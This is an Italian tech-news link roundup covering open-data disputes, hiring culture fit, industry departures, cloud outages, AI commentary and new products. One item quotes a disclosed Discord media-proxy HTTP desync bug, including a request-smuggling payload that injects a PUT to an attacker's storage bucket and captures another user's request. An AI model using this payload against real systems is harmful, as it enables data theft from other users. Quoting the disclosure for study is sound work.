Note di Matteo

Un esito frequente delle richieste di pubblicazione di open data (come previsto dalla legge) è l'assenza di risposta da parte dell'amministrazione pubblica interpellata. È successo anche in questo caso segnalato da onData in merito ai dati statistici sulle firme per i referendum:

I dati che presentiamo in questa newsletter li abbiamo estratti noi. Ma quei dati dovrebbero già essere pubblici. È stato richiesto formalmente.

Il 10 dicembre 2025 l’associazione onData ha inviato al Ministero della Giustizia — tramite PEC — una richiesta di pubblicazione in formato aperto dei dati sulle raccolte firme, ai sensi dell’art. 5 del D.Lgs. 36/2006 (Riutilizzo dell’informazione del settore pubblico). Non una richiesta di accesso documentale per uso privato: una richiesta di rendere i dati disponibili a tutta la collettività, con licenza aperta e in formato leggibile meccanicamente.

Il Ministero non ha risposto.

L’11 gennaio 2026 onData ha presentato ricorso alla Commissione per l’accesso ai documenti amministrativi. Il 18 febbraio ha segnalato l’inadempimento anche al Difensore civico per il digitale (AgID), organo deputato a vigilare sull’apertura dei dati pubblici.

Il 31 marzo 2026 la Commissione si è pronunciata (decisione n. 3.110). La risposta è tecnica ma significativa: la Commissione ha dichiarato la propria incompetenza, non perché la richiesta di onData fosse sbagliata, ma perché il silenzio del Ministero — in materia di riutilizzo dei dati — non equivale a un diniego. Si tratta di un “silenzio-inadempimento”, non di un “silenzio-rifiuto”: una distinzione sottile ma decisiva, che sposta il rimedio possibile dal ricorso alla Commissione al ricorso al Tribunale Amministrativo Regionale (TAR), ai sensi dell’art. 117 del Codice del processo amministrativo.

Vale la pena di notare un dettaglio: nella sua relazione tecnica, il Ministero ha riconosciuto che pubblicare i dati sarebbe fattibile — ma non ha mai adottato un provvedimento formale, né in senso positivo né negativo. Il silenzio continua.

onData è ancora in attesa della risposta del Difensore civico per il digitale, ma nel frattempo i dati continuano a non essere pubblici.

Questo elenco di "fit" di un candidato in un'azienda è molto interessante. È quasi un framework per definire che cosa ci si aspetta da un ambiente di lavoro:

Independence vs. Collaboration: This covers both how you work and how you make decisions. Some companies need people who pick up a problem, run with it, and come back with a solution. Others expect you to bring the team along at every step. These often go together: companies that want you to work solo also tend to want you to make calls on your own, and companies that want collaborative work also want group buy-in on decisions.

If every story you tell involves going off and building something alone, consensus-driven companies will worry you’ll steamroll people or make choices that won’t stick. Flip it around: if every story involves checking with the group before you act, companies that prize individual ownership will wonder whether you can make a decision without a meeting.

Speed vs. Thoroughness: Startups often need rapid experimentation, where you ship MVPs and iterate based on feedback, while companies in healthcare or finance require careful validation before any release. This tension also shows up in how teams think about code quality: some organizations will happily spend extra weeks on clean architecture, while others want a working solution on deadline even if the code needs cleanup later. Whereas stories about methodical testing might bore a startup, your “ship it and fix it” examples could terrify a medical device company.

Excellence vs. Pragmatism: Some organizations value technical excellence and clean architecture above all else. Others need pragmatic solutions that ship on deadline even if imperfect. Focusing on perfect code fails at deadline-driven companies, just as accepting technical debt everywhere fails at companies maintaining critical infrastructure.

Innovation vs. Stability: Some roles require creating new solutions and challenging existing approaches, while others need you to maintain and optimize proven systems. If you say that you’re constantly reinventing established processes, teams that value stability will not consider you a good fit. Conversely, stories that show you only follow existing patterns will disappoint teams that are looking for creative problem-solving

Direct vs. Diplomatic: Some cultures prize radical candor and want you to say exactly what you think. Others value maintaining harmony and face-saving communication. If you are too blunt, you will not fit in well at a relationship-focused company. If you are not direct enough, you will not like working at a company that values “disagree and commit.”

Data vs. Intuition: Some companies require data to justify every decision (”data-driven” cultures), while others trust experienced judgment and move on gut feel. Showing that you make decisions based on instinct does not impress analytical companies, and telling a company that values experienced judgment that you conduct three A/B tests to choose a button color will get you struck off their list.

Specialist vs. Generalist: Large companies often want deep experts who master one domain, while smaller companies need people who are comfortable wearing multiple hats. Know which sort of company you are walking into.

(Learnings from conducting ~1,000 interviews at Amazon)

Ennesima horror story con GoDaddy in GoDaddy Gave a Domain to a Stranger Without Any Documentation. Una lista di altre horror story in questo post.

Il system prompt del nuovo AI playlist generator di Spotify (non c'è in Italia):

USB Cheat Sheet. Visto che gli standard USB sono confusionari e le cose cambiano nome ogni tanto.

È di gennaio quindi forse non aggiornato ma questi sono i limiti presunti dei piani in abbonamento di Claude:

Il costo è molto più basso rispetto a usare le API direttamente, anche se va considerato che anche le API hanno probabilmente un grosso margine quindi non è chiaro se il tutto sia sostenibile per Anthropic.

Elizabeth Pemmerl, GitHub’s chief revenue officer, also announced her resignation last week, according to sources at GitHub. “After eleven years on this amazing journey, I have decided it’s the right time for the next chapter,” said Pemmerl in a message to GitHub employees, seen by Notepad. Microsoft has appointed Dan Stein, former head of software and digital platforms for Microsoft Customer and Partner Solutions (MCAPS), as the new chief revenue officer for GitHub. It’s the latest sign of Microsoft’s ownership influence on GitHub.

“There’s basically no more GitHub at all anymore,” one GitHub employee tells me. “It’s all Microsoft, and the company is collapsing, both in outages that are reallllly bad and have torched the company reputation… and in an exodus of leadership.”

Tom Warren in Inside Microsoft’s wave of executive departures

Chi poteva farlo se non Meta?

And when an employee asked if it’s possible to opt out, Meta’s CTO replied that it is not: every US-based engineer will have their keystrokes logged, mouse movements captured, and work tracked.

L'esperienza di Lettermint.co con OVHcloud:

Some incidents were acknowledged late. Some were never clearly acknowledged. Some only appeared on the status page after customers had already been impacted for hours (or even days!).

A few examples (these are the ones we shared with the OVH team):

• Feb 23, 2025: unable to create nodes for a full day (Keystone errors, 500s).
• Mar 26, 2025: node timeouts in GRA11, never properly acknowledged.
• Apr 8, 2025: BYOIP issue where Microsoft services were unreachable.
• Apr 11, 2025: major production incident, multiple nodes down. Support replied 11 days later.
• Apr–May 2025: recurring DNS issues (even domains like Stripe intermittently failed to resolve).
• Aug 27, 2025: unannounced cluster updates → replication issues → data corruption → restore from backup.
• Sep 2, 2025: ~2.5 hours downtime across the entire region due to Keystone (an OpenStack service they use).
• Sep 10, 2025: another outage (~30+ minutes).
• Oct 2025: CEPH/block storage instability and Kubernetes API issues.
• Nov 2025 onward (3-AZ Paris): Object Storage problems begin.
• Dec 2025 – Apr 2026: repeated S3 timeouts and 503s for months.
• Feb 5, 2026: OVHcloud restarted all nodes at once (PDB ignored).
• Mar 5, 2026: similar issue again.

La mia esperienza media con Codex, che lo rende per me inusabile:

Un tizio ha studiato l'over-editing dei modelli linguistici e in effetti i modelli GPT sono quelli che tendono ad aggiungere più complessità.

C'è un nuovo modello open di OpenAI:

Privacy Filter is a small model with frontier personal data detection capability. It is designed for high-throughput privacy workflows, and is able to perform context-aware detection of PII in unstructured text. It can run locally, which means that PII can be masked or redacted without leaving your machine. It processes long inputs efficiently, making redaction decisions in a quick, single pass.

Dimensione da 1,5 miliardi di parametri di cui 50 milioni attivi. Disponibile su Hugging Face con licenza Apache 2.0 (quindi anche uso commerciale).

"Autorizzazione all'ingresso per cure in Italia di cittadini extracomunitari" e la procedura richiede di inviare una PEC.

E poi: il servizio è gratuito, ma il pagamento va fatto con PagoPA.

Straordinario.

Interessante startup USA, Impulse, che ha sviluppato un piano a induzione con manopole magnetiche e batteria, per poter raggiungere potenze fino a 10 kW (l'acqua bolle in 40 secondi).

Costa 7.000 dollari. La tecnologia è fornita in licenza anche ad altri produttori. Il primo fuori dagli USA è italiano: BS Service Group produrrà in Italia il modello Eximius con tecnologia Impulse.

Imagine if this is as good as AI gets. If this is where it stops, you'd still have models that can almost code a web browser, almost code a compiler—and can even present a pretty cool demo if allowed to take a few shortcuts. You'd still get models that can kinda-sorta simulate worlds and write kinda-sorta engaging stories. You'd still get self-driving cars that almost work, except when they don't. You get AI that can make you like 90% of a thing!

90% is a lot. Will you care about the last 10%?

I'm terrified that you won't.

I'm terrified of the good enough to ship—and I'm terrified of nobody else caring. I'm less afraid of AI agents writing apps that they will never experience than I am of the AI herders who won't care enough to actually learn what they ship. And I sure as hell am afraid of the people who will experience the slop and will be fine with it.

[...]

I'm terrified that our craft will die, and nobody will even care to mourn it.

Dima Konev, software engineer, in (AI) Slop Terrifies Me.

Un tizio ha installato tutte le estensioni esistenti per Firefox, circa 84mila. Funziona! Ma richiede 32 GB di RAM e un po' di pazienza (la pagina estensioni richiede 6 ore per caricarsi).

Il modo di parlare fastidiossissimo e innaturale delle AI è diventato misurabile:

Ci laviamo la coscienza con la modulistica per non prenderci la responsabilità di cambiare davvero.

Carlotta Silvestrini

HTTP desync in Discord's media proxy. Vulnerabilità interessante nel proxy di Discord verso il bucket Google Cloud Storage:

I sent the following request to the media proxy:

GET /attachments/%20HTTP/1.1%0AHost:x%0A%0APUT%20/request.txt%20HTTP/1.1%0AHost:myevilbucket.storage.googleapis.com%0AContent-Length:250%0A%0A HTTP/1.1
Host: media.discordapp.net

Which caused the backend to send out these two requests to GCP:

GET /attachments/ HTTP/1.1
Host:x

PUT /request.txt HTTP/1.1
Host:myevilbucket.storage.googleapis.com
Content-Length:250

 HTTP/1.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 11.6; rv:92.0) Gecko/20100101 Firefox/92.0
Host: discord.storage.googleapis.com

The PUT request expected 250 bytes of data but only ~150 bytes were given, meaning that the deficit would be eaten from whatever gets written to the stream next, i.e., the next borrower’s request.

And sure enough when I checked a moment later, my request.txt had an attachment link in it I’ve never seen before: [...]

It feels to me that a good part of the industry is using token count numbers similarly to how the lines-of-code-produced metric was used years ago. There was a time when the number of lines written daily or monthly was an important metric in programmer productivity, until it became clear that it’s a terrible thing to focus on. A lines-of-code metric can easily be gamed by writing boilerplate or throwaway code. Also, the best developers are not necessarily those who write the most code; they’re the ones who solve hard problems for the business quickly and reliably with – or without – code!

Similarly, the number of tokens a dev generates can easily be gamed, and if this metric is measured then devs will indeed game it. But doing so generates a massive accompanying AI bill!

Gergely Orosz in The Pulse: ‘Tokenmaxxing’ as a weird new trend.

The Human Infrastructure: How Netflix Built the Operations Layer Behind Live at Scale. Un po' di backstage della nuova linea di business di Netflix: gli eventi live.